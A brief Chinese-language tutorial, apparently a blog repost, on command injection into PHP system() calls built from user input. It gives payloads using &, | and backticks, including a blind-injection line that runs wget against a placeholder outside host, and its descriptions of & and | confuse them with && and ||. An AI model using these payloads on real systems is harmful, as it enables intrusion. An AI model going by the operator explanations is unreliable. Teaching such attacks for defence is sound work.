命令注入利用语句

在命令注入中可以使用的命令

1.  使用&符号，这个代表且，第一个命令执行错误时，第二个不执行

system('cat $_GET[a]');

利用脚本a=2.txt'&ifconfig

2.  使用|符号，代表或，第一个命令执行正确时，第二个命令不执行

system('cat $_GET[a]');

利用脚本a=12312313'|ifconfig   构造错误语句，使第一命令执行错误，第二个才正常执行

3.  使用“`”符号，命令替换，可以在命令中执行

system('cat $_GET[a].txt');

利用脚本a=1231'`wget http://xx.xxx.xx.xx:443`'  此时结果返回正常，常用于无回显的命令注入

转载于:https://www.cnblogs.com/ermei/p/7364059.html